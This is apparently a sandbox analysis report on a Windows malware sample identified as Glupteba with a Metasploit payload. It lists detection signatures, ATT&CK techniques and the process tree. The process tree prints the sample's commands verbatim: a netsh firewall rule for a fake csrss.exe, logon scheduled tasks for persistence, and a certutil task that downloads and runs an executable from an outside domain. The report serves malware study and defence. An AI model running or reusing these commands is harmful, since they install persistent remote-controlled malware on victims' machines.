Analysis
- max time kernel
143s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
25/06/2024, 15:00
General
- Target 0e7fad6fb0f0ab698aa5dd97671f5cda_JaffaCakes118.exe
- Size 3.7MB
- Sample240625-sdf64swgpg
- SHA256 4f25ffe6ecd23059c997f153065857bdfe782850725d95dd4466dbf1a9d35750
Malware Config
Extracted
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metasploit
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windows/single_exec
Signatures
- Glupteba
Glupteba is a modular loader written in Golang with various components.
- Glupteba payload 19 IoCs
- MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
- Modifies boot configuration data using bcdedit 1 IoCs
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Drops file in Windows directory 2 IoCs
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Program crash 2 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies system certificate store 2 TTPs 3 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\0e7fad6fb0f0ab698aa5dd97671f5cda_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\0e7fad6fb0f0ab698aa5dd97671f5cda_JaffaCakes118.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\0e7fad6fb0f0ab698aa5dd97671f5cda_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\0e7fad6fb0f0ab698aa5dd97671f5cda_JaffaCakes118.exe"2⤵
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Scheduled Task/Job: Scheduled Task
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 6843⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4456 -s 7242⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4456 -ip 44561⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1380 -ip 13801⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3772,i,11746347647270949551,7786733067759450703,262144 --variations-seed-version --mojo-platform-channel-handle=1268 /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
patch.exe
csrss.exe
memory/1380-8-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/1380-16-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/1380-6-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/1380-5-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/4052-28-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/4052-25-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/4052-32-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/4052-31-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/4052-30-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/4052-20-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/4052-21-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/4052-23-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/4052-24-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/4052-29-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/4052-26-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/4052-27-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/4456-1-0x0000000000F60000-0x0000000001312000-memory.dmp
memory/4456-9-0x0000000001320000-0x0000000001B24000-memory.dmp
memory/4456-2-0x0000000001320000-0x0000000001B24000-memory.dmp
memory/4456-7-0x0000000000400000-0x0000000000C1E000-memory.dmp
memory/4456-3-0x0000000000400000-0x0000000000C1E000-memory.dmp